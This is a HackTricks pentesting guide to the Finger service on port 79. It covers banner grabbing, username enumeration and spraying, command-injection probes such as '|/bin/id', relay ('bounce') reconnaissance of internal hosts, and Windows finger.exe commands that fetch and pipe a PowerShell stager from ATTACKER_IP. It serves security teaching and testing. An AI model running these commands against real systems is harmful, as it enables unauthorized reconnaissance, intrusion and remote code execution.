pentesting-finger.md (9199B)
1 --- 2 title: "79 - Pentesting Finger" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-finger.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-finger.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 79 - Pentesting Finger 14 15 ## **Basic Info** 16 17 The **Finger** program/service is utilized for retrieving details about computer users. Typically, the information provided includes the **user's login name, full name**, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity, the last instance mail was read by the user, and the contents of the user's plan and project files. 18 19 From a pentesting perspective, Finger is still interesting because the protocol is extremely small, **human-readable**, and often implemented with **legacy parsing logic**. A daemon may disclose: 20 21 - **currently logged-in users** 22 - **full names / GECOS data** 23 - **home directories, shells, last login times, and TTYs** 24 - **`.plan` / `.project` contents** 25 - **welcome banners** with hostname, OS flavour/release, and uptime on some `fingerd` builds 26 - **relay behaviour** to query a second host through the first one 27 28 **Default port:** 79 29 30 ```text 31 PORT STATE SERVICE 32 79/tcp open finger 33 ``` 34 35 ## **Enumeration** 36 37 ### **Banner Grabbing/Basic connection** 38 39 ```bash 40 nc -vn <IP> 79 41 echo "root" | nc -vn <IP> 79 42 printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users 43 printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it 44 ``` 45 46 The protocol is **ASCII over TCP/79**, normally terminated with **CRLF**, and the **server closes the TCP connection** after the response.<sup>[[1]](#references)</sup> In practice a null query (`\r\n`) is often enough to retrieve the current user list, which is also what Nmap's default `finger` NSE script does.<sup>[[2]](#references)</sup> 47 48 ### **User enumeration** 49 50 ```bash 51 finger @<Victim> #List users 52 finger admin@<Victim> #Get info of user 53 finger user@<Victim> #Get info of user 54 finger -l user@<Victim> #Long format from common UNIX clients 55 ``` 56 57 Alternatively, use Pentestmonkey's **finger-user-enum** for differential username testing and optional relay support:<sup>[[6]](#references)</sup> 58 59 ```bash 60 finger-user-enum.pl -U users.txt -t 10.0.0.1 61 finger-user-enum.pl -u root -t 10.0.0.1 62 finger-user-enum.pl -U users.txt -T ips.txt 63 finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1 64 ``` 65 66 The important nuance with Finger enumeration is that there is **no strict response format** across daemons. Tools such as `finger-user-enum` work well against Solaris-style services because valid and invalid users produce different text layouts, but you may need to manually compare **positive** and **negative** replies and adapt the regexes if the target daemon is unusual. 67 68 Useful probes when the daemon is not behaving like stock Solaris/BSD: 69 70 ```bash 71 # Null query: enumerate currently logged-in users 72 printf '\r\n' | nc -vn <IP> 79 73 74 # Long format 75 printf '/W\r\n' | nc -vn <IP> 79 76 printf '/W root\r\n' | nc -vn <IP> 79 77 78 # Metasploit-style differential probes 79 printf '0\r\n' | nc -vn <IP> 79 80 printf '.\r\n' | nc -vn <IP> 79 81 printf 'm m m m m m m m\r\n' | nc -vn <IP> 79 82 83 # Spray several likely accounts in one go against permissive daemons 84 printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79 85 86 # Older daemons may accept comma-separated names instead of spaces 87 printf 'root,admin,oracle,mysql\r\n' | nc -vn <IP> 79 88 ``` 89 90 A practical workflow is to first capture replies for a **known bad username** and a **likely valid username** (`root`, `daemon`, `bin`, application accounts), then diff the outputs. Metasploit's scanner does exactly this kind of differential parsing: it tries an empty query, `0`, `.`, and a repeated multi-user probe before deciding whether to enumerate one username at a time or in batches. 91 92 #### **Nmap execute a script for doing using default scripts** 93 94 ```bash 95 nmap -sV -sC -p79 <IP> 96 nmap --script finger -p79 <IP> 97 ``` 98 99 Nmap's `finger` NSE script is **safe** and simply sends a **null query** to recover the current user list.<sup>[[2]](#references)</sup> If you want broader username guessing against permissive daemons, consider extending the approach with custom wordlists or using projects such as `fat-finger.nse`, which send multiple likely account names in one request and look for username/GECOS matches. 100 101 ### Metasploit uses more tricks than Nmap 102 103 ```bash 104 use auxiliary/scanner/finger/finger_users 105 set RHOSTS <IP> 106 set USERS_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt 107 run 108 ``` 109 110 The Metasploit module is useful when Nmap only gives you the online-user list. It automatically: 111 112 - sends **empty**, `0`, and `.` queries to trigger different code paths 113 - tests whether the daemon accepts **multiple usernames per request** 114 - falls back to **single-user** requests when batching is not supported 115 - stores discovered usernames as a `finger.users` note for follow-on brute force or SSH enumeration 116 117 The usernames recovered here are usually most useful as inputs for [SSH](/hacktricks/network-services-pentesting/pentesting-ssh), mail, VPN, or AD username-spraying workflows. 118 119 ### Shodan 120 121 - `port:79 USER` 122 123 ## Command execution 124 125 ```bash 126 finger "|/bin/id@example.com" 127 finger "|/bin/ls -a /@example.com" 128 ``` 129 130 RFC 1288 permits a daemon to run a program owned or configured by the queried user to generate a response, while warning that the feature is dangerous.<sup>[[1]](#references)</sup> It does **not** standardize `|program` in a network query. The classic payloads above are implementation-specific command-injection probes, so they are relevant only to custom or vulnerable legacy daemons. Test carefully for: 131 132 - shell metacharacters in username handling 133 - `|program` execution or unsafe plan/project hooks 134 - backend wrappers that pass the username to a shell script or CGI 135 136 Also remember the **client-side** abuse path on Windows: `finger.exe` is a signed LOLBIN that can retrieve arbitrary text from a remote Finger server on **TCP/79**, then feed that output into follow-on tooling.<sup>[[3]](#references)</sup> In recent intrusions this has been used both for **file ingress/exfiltration** and for **ClickFix-style delivery** where the victim is lured into running `finger <nonce>@<domain>` from the Run dialog to fetch a plaintext batch or PowerShell stager.<sup>[[4]](#references)[[5]](#references)</sup> 137 138 Practical examples: 139 140 ```batch 141 :: Save attacker-controlled text returned by the Finger server 142 cmd /c finger a@ATTACKER_IP > payload.txt 143 144 :: Execute a PowerShell stager delivered as plain text over Finger 145 finger a@ATTACKER_IP | powershell -nop - 146 ``` 147 148 That technique is more relevant for post-exploitation than service enumeration, so see [the Linux reverse-shell page](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/reverse-shells/linux.md) for the shell transport idea and keep it in mind when emulating attacker tradecraft. 149 150 ## Finger Bounce 151 152 [Use a system as a finger relay](https://securiteam.com/exploits/2BUQ2RFQ0I/) 153 154 ```bash 155 finger user@host@victim 156 finger @internal@external 157 ``` 158 159 This isn't just an implementation quirk: **RFC 1288** defines recursive `@hostname` forwarding (`{Q2}` queries).<sup>[[1]](#references)</sup> If the daemon supports relaying, the **intermediate server** opens the second Finger connection for you and returns the response back over the original socket. That means: 160 161 - your host may **not** connect directly to the final target 162 - the relay can be used to **enumerate internal users** from an exposed Finger service 163 - `finger-user-enum` supports this natively with `-r <relay>` 164 165 Example: 166 167 ```bash 168 # Ask 10.0.0.1 to finger root on 10.0.0.2 169 printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79 170 171 # Enumerate usernames on 10.0.0.2 through relay 10.0.0.1 172 finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1 173 ``` 174 175 If relaying works, use it as an **internal recon primitive** and compare the relayed output with the public daemon's direct output. Different formatting or filtering often reveals whether the relay path is handled by a separate backend or wrapper. 176 177 ## References 178 179 - [1] [RFC 1288 - The Finger User Information Protocol](https://www.rfc-editor.org/rfc/rfc1288.html) 180 - [2] [finger NSE script - Nmap Scripting Engine documentation](https://nmap.org/nsedoc/scripts/finger.html) 181 - [3] [Finger.exe on LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/Finger/) 182 - [4] [Huntress - Can't Touch This: Data Exfiltration via Finger](https://www.huntress.com/blog/cant-touch-this-data-exfiltration-via-finger) 183 - [5] [Microsoft - New Clickfix variant 'CrashFix' deploying Python Remote Access Trojan](https://www.microsoft.com/en-us/security/blog/2026/02/05/clickfix-variant-crashfix-deploying-python-rat-trojan/) 184 - [6] [pentestmonkey/finger-user-enum](https://github.com/pentestmonkey/finger-user-enum)